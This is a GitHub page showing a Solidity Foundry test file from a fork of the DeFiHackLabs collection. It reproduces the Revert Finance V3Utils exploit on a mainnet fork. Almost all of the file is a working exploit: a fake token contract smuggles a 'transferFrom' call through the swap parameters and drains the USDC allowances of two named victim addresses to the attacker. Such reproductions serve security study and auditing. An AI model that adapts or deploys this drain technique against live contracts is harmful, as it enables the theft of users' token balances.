forked from SunWeb3Sec/DeFiHackLabs
-
Notifications
You must be signed in to change notification settings - Fork 0
/
RevertFinance_exp.sol
86 lines (73 loc) · 2.9 KB
/
RevertFinance_exp.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;
import "forge-std/Test.sol";
import "./interface.sol";
// @Analysis
// https://mirror.xyz/revertfinance.eth/3sdpQ3v9vEKiOjaHXUi3TdEfhleAXXlAEWeODrRHJtU
// @TX
// https://etherscan.io/tx/0xdaccbc437cb07427394704fbcc8366589ffccf974ec6524f3483844b043f31d5
interface V3Utils {
struct SwapParams {
address tokenIn;
address tokenOut;
uint256 amountIn;
uint256 minAmountOut;
address recipient; // recipient of tokenOut and leftover tokenIn (if any leftover)
bytes swapData;
bool unwrap; // if tokenIn or tokenOut is WETH - unwrap
}
function swap(SwapParams calldata params) external;
}
contract ContractTest is Test {
V3Utils utils = V3Utils(0x531110418d8591C92e9cBBFC722Db8FFb604FAFD);
IERC20 USDC = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);
address[] victims = [0x067D0F9089743271058D4Bf2a1a29f4E9C6fdd1b, 0x4107A0A4a50AC2c4cc8C5a3954Bc01ff134506b2];
uint256 counter;
CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
function setUp() public {
cheats.createSelectFork("mainnet", 16_653_389);
cheats.label(address(utils), "utils");
cheats.label(address(USDC), "USDC");
}
function testExploit() external {
for (uint256 i; i < victims.length; ++i) {
uint256 transferAmount = USDC.balanceOf(victims[i]);
if (USDC.allowance(victims[i], address(utils)) < transferAmount) {
transferAmount = USDC.allowance(victims[i], address(utils));
if (transferAmount == 0) continue;
}
bytes memory data = abi.encodeWithSignature(
"transferFrom(address,address,uint256)", victims[i], address(this), transferAmount
);
bytes memory swapdata = abi.encode(address(USDC), address(this), data);
V3Utils.SwapParams memory params = V3Utils.SwapParams({
tokenIn: address(this),
tokenOut: address(this),
amountIn: 1,
minAmountOut: 0,
recipient: address(this),
swapData: swapdata,
unwrap: false
});
utils.swap(params);
counter--;
}
emit log_named_decimal_uint(
"Attacker USDC balance after exploit", USDC.balanceOf(address(this)), USDC.decimals()
);
}
function transferFrom(address from, address to, uint256 value) external returns (bool) {
counter++;
return true;
}
function approve(address spender, uint256 value) external returns (bool) {
return true;
}
function transfer(address to, uint256 value) external returns (bool) {
return true;
}
function balanceOf(address owner) external view returns (uint256) {
if (counter == 1) return 1;
else return 0;
}
}